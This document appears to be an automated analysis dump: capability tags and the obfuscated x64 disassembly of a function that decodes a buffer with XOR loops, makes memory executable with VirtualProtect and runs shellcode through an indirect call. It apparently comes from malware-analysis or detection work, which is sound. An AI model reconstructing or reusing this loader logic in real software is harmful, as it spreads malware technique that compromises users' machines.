Function at 0x14058b523
Capabilities:
Allocate or change rwx memory
Authenticate hmac
Execute shellcode via indirect call

Disassembly:
lea r9, [rsp + 0x48]
setnp dl
mov r8d, dword [rsp + 0xcc]
movsx dx, r14b
bswap dx
mov rdx, qword [rsp + 0xc0]
mov cx, ax
mov rcx, qword [rsp + 0xa8]
jmp 0x14058b68a
jmp 0x14058b661
js 0x14058c96d
movzx edx, cl
mov dil, 0x1b
movzx rdi, ax
jmp 0x14058c703
jbe 0x14058c265
mov rcx, r13
call fcn.1400466a0
mov rdi, rax
cmp sp, 0x74cb
rol cl, 0xda
inc r14b
mov qword [rsp + 0x98], rax
sar r14b, 0x97
ror r14w, cl
mov r14d, r12d
mov r15, qword [rsp + 0x40]
nop
btc rcx, 0x13
cmp r12b, r14b
movsx rcx, r9w
movzx ecx, word [r15 + 0x56]
cmc
jmp 0x14058bccd
call fcn.1400466a0
mov rbx, rax
movsx esi, si
mov si, 0x5dc9
bt rsi, rdx
mov esi, edi
btr esi, 0x1f
jmp 0x14058c513
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add r14d, 1
mov dil, r14b
cmovns di, si
movsx rdi, r9w
mov rdi, qword [rsp + 0x98]
jmp 0x14058b595
jmp 0x14058c27e
jmp 0x14058be5c
jmp 0x14058c338
and al, 0xc0
test si, r12w
cmp al, 0x80
jmp 0x14058c2f6
jmp 0x14058c338
je 0x14058b933
test edi, edi
jmp 0x14058b72e
movzx eax, cl
stc
clc
and al, 0xe0
cmp cl, 0x68
stc
clc
cmp al, 0xc0
jmp 0x14058be8b
je 0x14058b933
cmp r14d, dword [r15 + 0x34]
jmp 0x14058b7cf
jmp 0x14058b89b
jae 0x14058b933
mov eax, dword [r15 + 0xc]
xadd r8b, cl
xor eax, r14d
not r8b
xor cx, 0x42ef
xchg cl, r8b
xor esi, eax
neg ch
xor r11d, eax
rol ch, 0x33
bsf cx, sp
xor r10d, eax
sar r8b, 0x19
shl r8b, cl
xor r9d, eax
cdqe
shrd cx, r11w, 0xc5
mov eax, dword [rsp + 0x68]
cmovae r8d, esi
or r8w, 0x4415
xor esi, eax
btc r8w, bx
sub cx, 0x3275
mov dword [rsp + 0x1b0], esi
and ecx, 0x53361219
cmp bl, r11b
xor r11d, eax
sal r8b, cl
dec cl
mov dword [rsp + 0x1b4], r11d
sub cl, 0x1c
xor r10d, eax
movzx r8d, r11w
adc cl, sil
mov dword [rsp + 0x1b8], r10d
stc
shr r8b, cl
xor r9d, eax
lahf
or ch, 6
mov dword [rsp + 0x1bc], r9d
mov eax, edi
shr cl, 0x54
rcl r8b, 0xe
sub cl, dil
lea rbx, [rbx + rax]
btc r8w, 0x7c
and eax, 0x5c5c0b8c
lea r8d, [rdx - 1]
shld ecx, ebp, 0xdd
mov rcx, r12
nop
cmp r9b, 0xbb
mov eax, r8d
test r15d, r15d
cmp rcx, rax
jmp 0x14058c9d7
mov eax, edx
sbb cl, 0x59
rol cl, cl
dec ch
add rbx, rax
xadd eax, ecx
lea eax, [rdi + rdx]
cqo
sal cx, cl
add r14d, eax
mov edx, r12d
sal cx, 0x5c
movzx ecx, byte [rbx]
stc
test cl, cl
js 0x14058c37d
movzx edx, cl
mov edi, 1
jmp 0x14058c70a
jmp 0x14058c376
jmp 0x14058bf5a
jae 0x14058b523
mov eax, dword [r13 + 0x17c]
cmp r15b, 0xf5
cmp dword [r13 + 0xf0], eax
jne 0x14058c67d
lea r9, [r13 + 0x210]
jmp 0x14058c690
jmp 0x14058c6a7
call fcn.140052a70
mov qword [r13 + 0x390], rbx
cmc
clc
mov byte [rsp + 0x1b0], 0x8b
mov byte [rsp + 0x1b1], 0xf8
stc
mov byte [rsp + 0x1b2], 0x3b
test dl, 0x8c
mov byte [rsp + 0x1b3], 0xfb
mov byte [rsp + 0x1b4], SafeArrayGetLBound
test sil, r14b
mov byte [rsp + 0x1b5], 0x84
stc
cmp r12b, dil
clc
mov byte [rsp + 0x1b6], 0xbf
stc
mov byte [rsp + 0x1b7], reloc.OLEAUT32.dll_SafeArrayPutElement
mov byte [rsp + 0x1b8], 0x28
test r15, r9
cmc
cmp r12w, r13w
mov byte [rsp + 0x1b9], 0
test dx, r11w
test r11, 0x66e53fc1
mov byte [rsp + 0x1ba], SetErrorInfo
cmp r15w, 0x3eea
test r8b, r11b
clc
mov byte [rsp + 0x1bb], 0x45
test r14b, 0x8d
mov byte [rsp + 0x1bc], 0xe8
test r10b, 0xa2
cmp r9, 0x6fff1680
clc
mov byte [rsp + 0x1bd], 1
test r13b, al
cmp dil, dil
mov byte [rsp + 0x1be], 0
jmp 0x14058c2d4
jmp 0x14004c4dc
cmp r14d, ecx
jmp 0x14058c6c7
je 0x14058bd29
xor dil, dl
cmp r15w, bp
cmc
mov byte [rcx + rbx + 4], dil
rol edi, cl
cmove edi, ebx
movzx edi, r8b
add rcx, 1
jmp 0x14058bbf3
bt edi, 0x1f
jmp 0x14058bbc9
je 0x14058c25b
mov r8d, 0x30
jmp 0x14058c550
jae 0x14058b523
movzx r8d, byte [rcx + rbx + 4]
mov al, cl
sal dh, 0xa0
and eax, 0xf
cmc
and dl, 0xc7
movzx edx, byte [rax + r9]
xor dl, r8b
test rsp, rdi
mov byte [rcx + rbx + 4], dl
cmp bl, 0xa5
test rcx, rcx
jmp 0x14058bd11
mov rdx, qword [r13 + 0x3a8]
lea rdi, [rsp + 0x1b0]
rol cl, cl
mov rcx, r12
cmp r10b, bl
cmp rcx, 0x10
jae 0x14058c1e7
movzx eax, byte [rcx + rdx]
mov byte [rcx + rdi], al
stc
cmc
test r8b, r13b
add rcx, 1
jmp 0x14058c6fe
jne 0x14058c32d
mov dl, cl
movzx di, sil
and edx, 0x1f
shl edx, 8
bsf rax, rdi
adc di, bx
movzx eax, byte [rbx + 1]
mov edi, eax
sub dil, r9b
or edx, eax
shl edx, 8
test r10b, 0xa5
movzx eax, byte [rbx + 2]
or edx, eax
or ax, r9w
inc al
shl edx, 8
movzx eax, byte [rbx + 3]
or edx, eax
movsx di, dil
mov edi, 4
jmp 0x14058c328
movzx eax, cl
cmp r15, r8
and al, 0xe0
test edi, r8d
cmc
cmp al, 0xc0
jne 0x14058c463
mov dl, cl
ror dil, 0x8d
bts ax, ax
and edx, 0x1f
shr al, 0x36
bts di, bx
shl edx, 8
btc eax, r13d
rol rdi, cl
movzx eax, byte [rbx + 1]
rcl dil, cl
btc di, 0x91
mov dil, al
or edx, eax
shl edx, 8
movsx di, r9b
inc ax
movzx eax, byte [rbx + 2]
setno dil
or edx, eax
adc al, 0x3a
shl edx, 8
sub di, 0x2d82
movzx eax, byte [rbx + 3]
or edx, eax
movzx rdi, di
seto dil
movzx di, sil
mov edi, 4
jmp 0x14058c376
nop
jmp 0x14058bcc3
jne 0x14058be55
lea rdx, [r13 + 0x210]
jmp 0x14058b6b1
mov edx, dword [r15 + 0x50]
mov rcx, r13
jmp 0x14058c2a9
je 0x14058c1e7
mov eax, dword [r13 + 0x17c]
stc
test cl, 0xea
jmp 0x14058c2ea
mov r14d, esi
mov edx, r12d
rcr ecx, 0x7c
movzx ecx, byte [rbx]
cmp dx, 0xc75
cmc
test cl, cl
jmp 0x14058b59a
mov rdx, qword [rsp + 0xc0]
mov rcx, qword [rsp + 0xa8]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [rsp + 0xcc]
cmp r14b, 0x13
test eax, eax
jmp 0x14058c665
mov esi, 1
jmp 0x14058b6ac
mov r15, qword [rsp + 0x40]
sub sil, r9b
shr sil, cl
and si, r9w
mov esi, 1
cmp sp, 0x2359
cmp dword [r15 + 0x50], 0
jbe 0x14058bf5a
mov ecx, dword [r15 + 0x34]
jmp 0x14058c292
call fcn.140051890
mov rbx, rax
mov edi, dword [r15 + 0x34]
movsxd rdx, r15d
movzx edx, di
jmp 0x14058c1c5
call fcn.1400466a0
mov r8, rax
not dl
mov r9, rdi
mov cl, spl
xchg edx, ecx
mov rdx, rdi
not rcx
movsx cx, sil
mov rcx, rbx
jmp 0x14058bbf8
mov byte [rsp + 0x1bf], 0
test rsi, r11
cmp dword [r15 + 0x24], 0
jmp 0x14058c1d1
cmp dword [r13 + 0xf0], eax
jmp 0x14058c187
jne 0x14058b71b
mov dl, cl
clc
and edx, 0x3f
clc
shl edx, 8
shl dil, cl
movzx eax, byte [rbx + 1]
sbb di, di
or edx, eax
movsx di, r15b
movsxd rdi, r14d
movsx rdi, di
mov edi, 2
jmp 0x14058b6c9
jmp 0x14058c338
or edi, 0xffffffff
add si, 0x52df
and r9, rdi
mov r9d, dword [rsp + 0x1bc]
sar si, 0x40
ror sil, cl
bswap si
mov r10d, dword [rsp + 0x1b8]
bt rsi, r10
stc
mov r11d, dword [rsp + 0x1b4]
bt si, r14w
mov esi, dword [rsp + 0x1b0]
test cx, 0x6a4f
nop
cmc
nop
test edx, edx
jmp 0x14058c51a
movzx eax, cl
jmp 0x14058c713
or edi, 0xffffffff
jmp 0x14058c74e
cmp dword [rax], esi
jmp 0x14058be12
je 0x14058b933
cmp edi, 0xffffffff
jmp 0x14058b6ce
lea rdx, [rsp + 0xa8]
setl cl
movzx rcx, sp
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
mov edx, esi
movsx eax, r11w
mov rcx, qword [rsp + 0xa8]
movzx ax, spl
sub rdx, rcx
shld r8, r15, 0xa3
rcl al, 0x3b
add r9d, r15d
lea rax, [rdx + rbx + 4]
mov rdx, qword [rsp + 0xc0]
neg r9w
setbe r8b
movsx r8w, sil
cmp rdx, rax
not r8b
cmovge r8, r14
movsx r8d, r11w
cmovb rdx, rax
mov qword [rsp + 0xc0], rdx
mov eax, dword [rsp + 0xcc]
mov dword [rsp + 0x48], eax
lea r9, [rsp + 0xcc]
cmovo r8d, ebx
movsx r8w, dil
mov r8b, 0x50
mov r8d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jmp 0x14058c94f
ror dh, cl
add edx, 0x36480346
mov edx, dword [rsp + 0x11c]
test edx, edx
jmp 0x14058c651
je 0x14058c265
cmp word [rsp + 0x136], 0
jmp 0x14058b620
cmove ecx, dword [rsp + 0x48]
jmp 0x14058c66f
mov dword [rsp + 0xcc], ecx
mov dword [rbx], esi
jmp 0x14058bdfd
mov r9, qword [r13 + 0x3a8]
add cl, r14b
sub cx, 0x4e65
rcr rax, 0xf7
sub dil, dil
movsxd rax, r10d
xor eax, 0x5494167c
mov rcx, r12
btc eax, 0x77
shr al, cl
sete ah
mov eax, esi
cmp r10w, 0x2570
cmp rcx, rax
jmp 0x14058be23
jae 0x14058c25b
lea ecx, [r14 + r14]
cmp r13w, 0x12cd
mov edx, dword [rdi + rcx*4]
cmp spl, 0xa1
lea eax, [rcx + 1]
mov edi, dword [rdi + rax*4]
bts cx, bp
sar rcx, cl
xor edi, dword [r15 + 0xc]
btr cx, 0xca
xor edi, edx
mov rcx, r13
jmp 0x14058b66c
jmp 0x14058be6c
mov edi, esi
jmp 0x14058b6b6
jmp 0x14058c376
and al, 0xc0
cmc
clc
cmp al, 0x80
jmp 0x14058c71e
jne 0x14058bedb
mov dl, cl
and edx, 0x3f
bsf rdi, r10
shl edx, 8
shl di, 0x3b
and eax, r12d
movzx eax, byte [rbx + 1]
or edx, eax
not di
cmovno edi, r12d
mov edi, 2
jmp 0x14058b8e3
jmp 0x14058c376
jne 0x14058c676
lea r9, [rsp + 0xcc]
lea r8d, [rax + 4]
xchg rdx, rcx
cmovge rdx, r9
jmp 0x14058c233
movzx eax, cl
cmp r11w, 0x176a
jmp 0x14058b6bc
jae 0x14058b8a9
mov al, cl
cmp r13b, r10b
and eax, 0xf
movzx eax, byte [rsp + rax + 0x1b0]
clc
xor byte [rcx + rbx], al
test ah, 0x8b
stc
add rcx, 1
jmp 0x14058b7be